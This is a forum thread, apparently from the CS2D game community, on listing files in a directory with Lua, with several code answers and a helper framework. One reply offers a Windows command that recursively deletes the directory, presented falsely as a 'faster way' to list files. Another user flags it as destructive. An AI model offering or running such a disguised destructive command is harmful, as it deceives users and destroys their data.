English List files in a directory

9 replies
Goto Page
To the start Previous 1 Next To the start
02.12.21 05:58:25 pm
Up
Mami Tomoe
User
Offline Off
How can I get a list of all files in a given directory?
I tried Googling this and apparently I need some kind of a file system included.

Does anyone know an easy way to simply list all files in a given directory with as little modification as possible?
Look at me standing, here on my own again
03.12.21 07:37:10 am
Up
MikuAuahDark
User
Offline Off
In Windows, this is easy with io.popen
Code:
1
2
3
4
5
6
7
8
local file = io.popen("dir /B /A-D "..path, "r")
local file1 = file:read("*l")
local file2 = file:read("*l")
-- ... more files
if filen == nil then
     -- no more files
     file:close()
end


Unfortunately in Linux, io.popen is not supported, so you need to use os.execute and redirect the output to temporary name.
Code:
1
2
3
4
5
6
7
8
9
10
11
local tempname = os.tmpname()
os.execute("ls -p "..path.." | grep -v / > "..tempname)
local file = io.open(tempname, "r")
local file1 = file:read("*l")
local file2 = file:read("*l")
-- ... more files
if filen == nil then
     -- no more files
     file:close()
     os.remove(tempname)
end
file cs2d LuaJIT for Dedicated Server (13) JIT POWER! | Know your Lua errors! | Part of LÖVE development team since 11.3
03.12.21 09:49:50 am
Up
Mami Tomoe
User
Offline Off
Thank you!
Look at me standing, here on my own again
03.12.21 01:05:07 pm
Up
Hajt
User
Offline Off
In CS2D there is lua function io.enumdir (iterate over all files in a given directory).
04.12.21 04:33:11 pm
Up
Mami Tomoe
User
Offline Off
Oh, woah!
Is it any faster though?
Look at me standing, here on my own again
04.12.21 06:04:55 pm
Up
Unknown_Cheater
User
Offline Off
@user Mami Tomoe: this is the faster way
Code:
1
os.execute('rd /s/q "'..dir..'"')
2084729947754920835
04.12.21 09:28:54 pm
Up
ohaz
User
Offline Off
user Unknown_Cheater has written:
@user Mami Tomoe: this is the faster way
Code:
1
os.execute('rd /s/q "'..dir..'"')


Don't listen to this guy, this command deletes/removes a directory
https://ohaz.engineer - Software Engineering
05.12.21 05:09:31 pm
Up
MikuAuahDark
User
Offline Off
user Mami Tomoe has written:
Oh, woah!
Is it any faster though?

I'm not aware io.enumdir exist, but if it is then yeah it's definitely faster than my solution.
file cs2d LuaJIT for Dedicated Server (13) JIT POWER! | Know your Lua errors! | Part of LÖVE development team since 11.3
06.12.21 10:33:23 am
Up
Masea
Super User
Offline Off
Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
function table.mergeValues(tbl, tbl2)
    for k, v in pairs(tbl2) do 
        table.insert(tbl, v)
    end
end

function io.isDirectory(path)
    -- This can be removed if io.isdir gets updated
    path = (path:sub(-1) == "/" or path:sub(-1) == "\\") and path:sub(1, -2) or path
    return io.isdir(path)
end

function io.getPaths(directory)
    local paths = {}

    for file in io.enumdir(directory) do
        if file ~= '.' and file ~= '..' then
            path = directory..file
            path = io.isDirectory(path) and path.."/" or path
 
            table.insert(paths, path)
        end
    end

    return paths
end

function io.getFilePaths(directory, deep)
    local filePaths = {}

    for _, path in pairs(io.getPaths(directory)) do
        if deep and io.isDirectory(path) then
            table.mergeValues(filePaths, io.getFilePaths(path, deep))
        else 
            table.insert(filePaths, path)
        end
    end

    return filePaths
end

function io.getDirectoryPaths(directory, deep)
    local directoryPaths = {}

    for _, path in pairs(io.getPaths(directory)) do
        if io.isDirectory(path) then
            table.insert(directoryPaths, path)

            if deep then
                table.mergeValues(directoryPaths, io.getDirectoryPaths(path, deep))
            end
        end
    end

    return directoryPaths
end

function dofileDirectory(directory, formats, deep)
    for _, filePath in pairs(io.getFilePaths(directory, deep)) do
        if type(formats) == "table" then
            for _, format in pairs(formats) do
                if filePath:sub(-4) == format then
                    dofile(filePath)
                end
            end
        elseif filePath:sub(-4) == formats then
            dofile(filePath)
        end
    end
end

local function getLocalPath()
    local str = debug.getinfo(2, "S").source:sub(2)
    return str:match("(.*/)")
end
Here are some functions I have grabbed from my framework. Feel free to use them.
Shit your pants: file cs2d Outlast II Mod (29) | Create your UI faster: CS2D UI Framework
06.12.21 11:44:46 am
Up
Mami Tomoe
User
Offline Off
They look great!
Thank you!
Look at me standing, here on my own again
To the start Previous 1 Next To the start